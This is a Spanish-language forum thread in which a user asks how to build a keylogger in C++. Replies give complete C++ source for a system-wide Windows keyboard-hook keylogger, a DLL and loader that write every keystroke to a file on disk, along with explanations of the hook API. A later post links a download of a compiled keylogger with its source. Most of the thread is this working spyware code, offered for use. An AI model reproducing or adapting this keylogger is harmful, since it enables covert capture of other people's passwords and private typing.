hola, estoy queriendo programar mi propio keylogger em c++, pero no se donde puedo encontrar información al respecto? alguien me podría ayudar?
Versión para imprimir
hola, estoy queriendo programar mi propio keylogger em c++, pero no se donde puedo encontrar información al respecto? alguien me podría ayudar?
Busca acerca de hooks (ganchos en ingles), cualquier keyloger mas o menos bueno usa se basa en hooks para detectar eventos interesantes.
Chau saludos
ok, me voy a poner a buscar, pero no estoy manejando muy bien el c++, habrá alguna página de donde pueda bajar alguna rutina para c++ para poder captar las teclas? o algún manual donde me explique cómo hacerlo? muchas gracias
En el msdn de microsoft podes encontrar algo que te sirva. Creo que habian un par de funciones para cada tipo de ganchos.
Si no me equivoco estaba en ingles, pero se entiende.
Chau saludos
bueno, ya leí sobre hooks y creo q entendí bien, pero ahora mi duda, ya que estoy bastante perdido, cómo tengo q empezar? en el código digo, además, cómo utilizo los hooks? tengo q copiar y pegar lo q aparece en el msdn en el compilador? o cómo? por favor ayúdenme, que tengo muchas ganas de hacer esto, gracias
Hola, la verdad que habia visto tu pregunta, por eso no conteste antes, pero encontre el mail que decia que habias contestado, asi que ...bueno aca estoy.
Una cosas importante que tenes que tener en cuenta es que, si queres logear teclas no solo en tu aplicacion, sino en todo el sistema, por lo menos en el subsistema windows, tenes que crear una dll, en donde van a estar la rutina que se ejecutara cuando salte el gancho.
Aca te paso un codigo que no es mio, es de un tal Lympex, no te aseguro 100% que anda pero creo que si.
Vas a tener que hacer la dll y el ejecutable.
dll.h
Código:#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */
LRESULT CALLBACK Filtro(int nCode, WORD wParam, DWORD lParam);
__declspec(dllexport)int CreaHook(BOOL Instala,HINSTANCE DLLInst);
#endif /* _DLL_H_ */
dll.cpp
Código:#include <stdio.h>
#include <windows.h>
#include "dll.h"
#pragma data_seg("SharedBlock")
#pragma data_seg()
HHOOK gancho;
/**********************************************/
/*FUNCION PARA FILTRAR LOS RESULTADOS DEL HOOK*/
/**********************************************/
LRESULT CALLBACK Filtro(int nCode/*codigo hook*/, WORD wParam, DWORD lParam) {
if(nCode<0){
return(CallNextHookEx(gancho,nCode,wParam,lParam));
}
//si hay datos, los guardamos
if (lParam & (1 << 31)) {
FILE *datos;
BYTE KeyboardState[256];
GetKeyboardState(KeyboardState);
WORD CharValue;
if(ToAscii(wParam,0,KeyboardState,&CharValue,0) > 0){
if((datos=fopen("c:\\Datos.txt","at"))==NULL){
return CallNextHookEx(gancho,nCode,wParam,lParam);
}
fprintf(datos,"%c",(char)CharValue);
fclose(datos);
}
}
return CallNextHookEx(gancho,nCode,wParam,lParam);
}
/*******************************************************/
/*FUNCIÓN PARA INSTALAR/DESINSTALAR EL HOOK DEL TECLADO*/
/*******************************************************/
__declspec(dllexport)int CreaHook(BOOL Instala, HINSTANCE DLLInst/*Redefiní la funcion*/) {
if(Instala==TRUE) {
gancho=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Filtro,DLLInst/*Esta variable es cogida del resultado de "LoadLibrary("nombredll.dll")"*/,0);
if(gancho==NULL){
return 0;
}else{
return 1;
}
}else{
return UnhookWindowsHookEx(gancho);
}
}
/*************************/
/*PROCEDIMIENTO PRINCIPAL*/
/*************************/
BOOL WINAPI DllMain(HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
return TRUE;
}
main.cpp
Código:#include <stdio.h>
#include <windows.h>
typedef void (*LPFuncion)(BOOL,HINSTANCE/*Redefiní la funcion*/);
LPFuncion Funcion=NULL;
/*************************/
/*PROCEDIMIENTO PRINCIPAL*/
/*************************/
int main(int argc, char *argv[])
{
printf("\n #######################################");
printf("\n # [+] RBT K-Logger 1.0 - by Lympex #");
printf("\n # [+] Contacto: #");
printf("\n # - Mail: lympex[at]gmail[dot]com #");
printf("\n # - Site: http://l-bytes.tk #");
printf("\n #######################################\n");
printf("\n + Cargando Dll ...");
//cargamos la Dll
HMODULE Dll=LoadLibrary("hookdll.dll");
if(!Dll){printf("\n[*] No se encontró la Dll: RBT_KLogger.dll\n");return -1;}
printf("OK");
//buscamos la funcion en la dll
printf("\n + Buscando funcion: CreaHook(int) ...");
Funcion = (LPFuncion)GetProcAddress(Dll, "_Z8CreaHookiP11HINSTANCE__"/*Este es el nuevo nombre de la funcion*/);
if(!Funcion){printf("ERROR");FreeLibrary(Dll);getchar();return -1;}
printf("OK");
//ejecutamos la función
Funcion(TRUE,Dll/*Le meti el hmodule para ponerlo despues en la funcion SetWindowsHookEx*/);//instalamos el hook
//esperamos la salida
printf("\n [+] Presione cualquier tecla para finalizar ...");
getchar();
Funcion(FALSE,NULL);//desinstalamos el hook
FreeLibrary(Dll);//liberamos la memoria
return 0;
}
Espero que te sirva.
Chau saludos
gracias che, pero mi idea es hacer mi propio código, pero me sirve como para guiarme, lo q no entiendo mucho es el tema de los ganchos, cuál es el código de los ganchos? por ejemplo CallNextHookEx, el código, lo saco del msdn o cómo lo hago?
CallNextHookEx es una llamada al api de windows, es una funcion dentro de una libreria de vinculos dinamicos (dll) que forma parte del sistema operativo. Por lo tanto, a lo unico que te podes referir como codigo de esta funcion es a su llamada o invocacion.
Eso si esta en el msdn, como sintaxis. En el caso de CallNe.... :
LRESULT CallNextHookEx(
HHOOK hhk,
int nCode,
WPARAM wParam,
LPARAM lParam
);
No se si esa fue tu pregunta, cualquier cosa avisa.
Chau saludos
ahh listo, ya entendí, ahora a probar, gracias
Yo hace un par de años (sí, ya son casi dos) pusé un código de un pequeño keylogger, sólo como ejemplo para que se viera como se hacían. Lo puedes encontrar checando este hilo: http://www.hackhispano.com/foro/showthread.php?t=11091
Este mismo "tutorial" lo puse en otro foro no hace mucho, pero ya le agregue un par de cosas, como el tratamiento pseudo-correcto de la entrada del teclado (punto que deje abierto en ese entonces) y ahora escribe todo a un archivito. Muy sencillito el keylogger pero creo que cumple con su función, enseñar como hacer un keylogger.
Hmm, no puedo subir archivos aquí ... interesante. Bueno, lo pongo en rapidshare:
http://rapidshare.de/files/24033861/kl.zip.html
Viene el keylogger compilado (dll + exe) y el código fuente. Vienen los archivos de proyecto para CodeBlocks, pueden descargarlo aquí: http://www.codeblocks.org.
Ojalá les sirva de algo.